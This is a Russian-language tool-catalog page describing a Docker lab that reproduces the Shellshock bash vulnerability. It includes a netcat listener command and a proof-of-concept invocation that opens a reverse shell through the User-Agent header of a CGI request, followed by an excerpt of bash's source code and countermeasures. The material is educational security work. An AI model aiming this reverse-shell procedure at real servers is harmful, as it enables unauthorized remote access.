Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Shellshock_CVE-2014-6271 — Shellshock | Kitploit
Инструменты/GitHubGitHub/caverm/shellshock_cve-2014-6271
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubcaverm/shellshock_cve-2014-6271

Shellshock_CVE-2014-6271

Shellshock

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Shellshock CVE-2014-6271

Shellshock

Скачайте файлы docker-compose.yml и poc.py Обязательно установите библиотеку requests с помощью pip install requests!!! Если вы используете uv, поместите библиотеку requests в venv через uv!!!

Официальное описание CVE
В GNU Bash до версии 4.3 существовала проблема обработки строк, следующих за определением функции в значении переменной окружения. Используя эту уязвимость, удалённый злоумышленник мог выполнить произвольный код через подделанное окружение. Уязвимость была обнаружена в функции ForceCommand в OpenSSH sshd, в модулях mod_cgi и mod_cgid Apache HTTP Server, в скриптах, выполняемых некоторыми DHCP-клиентами, а также в ряде ситуаций, где права на выполнение Bash и установка переменных окружения пересекают границы прав. Она также известна как «ShellShock». Примечание: первоначальное исправление этой проблемы было ошибочным, и для устранения уязвимости, всё ещё существовавшей после некорректного исправления, был назначен CVE-2014-7169.

Конфигурация окружения

Конфигурация Dockerfile

ОСвеб-серверверсия bash
Debian 10Apach4.2.37(1)

При выполнении команды docker compose up Dockerfile написан так, чтобы веб-сервер оставался запущенным.

Поскольку os, apach и т.д. в Dockerfile загружаются из внешних репозиториев, я пометил собранный образ тегом, отправил его в Docker Hub и указал этот образ в файле docker-compose.yml, чтобы даже при удалении оригинала всё продолжало работать.

Условия уязвимости

Нужна bash-оболочка, в которой присутствует уязвимость Shellshock. Я использовал bash-оболочку версии 4.2.37(1).

Кроме того, код выполняется только после того, как он помещён в переменные окружения и вызывается bash, поэтому необходимо наличие программы, способной вызывать bash. Я установил CGI-программу, используемую веб-сервером для обработки клиентских запросов. Согласно спецификации CGI (RFC 3875), веб-сервер помещает все заголовки, отправленные браузером, в переменные окружения Linux для обработки.

При этих условиях веб-сервер отправляет запрос, и информация из заголовков сохраняется в переменные окружения (в соответствии со спецификацией CGI). Атака завершается тем, что CGI вызывает bash-оболочку, в которой есть уязвимость, позволяющая выполнять строку после определения функции в переменной окружения.

Запрос (код встраивается в заголовок User-Agent) -> CGI вызывает bash -> подключение reverse shell

Процедура воспроизведения
  1. Запустите веб-сервер командой docker compose up.
  2. Откройте новый терминал и начните прослушивание с помощью nc -lvp 4444
  3. Запустите poc.py, чтобы подключить reverse shell.
    • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (не обязательно 4444; зависит от того, на каком порту вы слушаете)
    • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (если вы не используете uv, запустите командой python3!!!)
Результат

Терминал, в котором вы слушали порт на шаге 2 процедуры воспроизведения, подключается к bash-оболочке внутри контейнера, и в нём можно выполнять команды whoami, id и т.д.

Причина возникновения уязвимости
root@kitploit:~
  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

Причина уязвимости находится в функции initialize_shell_variables внутри файла variables.c в коде bash-оболочки. Сама функция слишком длинная, поэтому я вырезал только ключевую часть.

root@kitploit:~
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

Этот if проверяет с помощью STREQN ("() {", string, 4), начинается ли строка с «() {». Если совпадает, она считается функцией. Удивительно, но после этого никакой фильтрации string нет, поэтому и возникла проблема.

root@kitploit:~
'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' Этот код объединяет имя и значение. Поскольку значение уже было проверено выше, string начинается с () {, а name — это имя переменной окружения.

Затем имя и значение переменной окружения объединяются и передаются в код ниже для разбора. Так как проверка выше была только для () {, команды whoami, id, pwd и т.д., добавленные после определения функции, тоже полностью выполняются.

root@kitploit:~
'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''
Меры противодействия
Обновите Bash до версии, не подверженной уязвимости Shellshock.
Не используйте программы, вызывающие bash-оболочку.
Скачать инструмент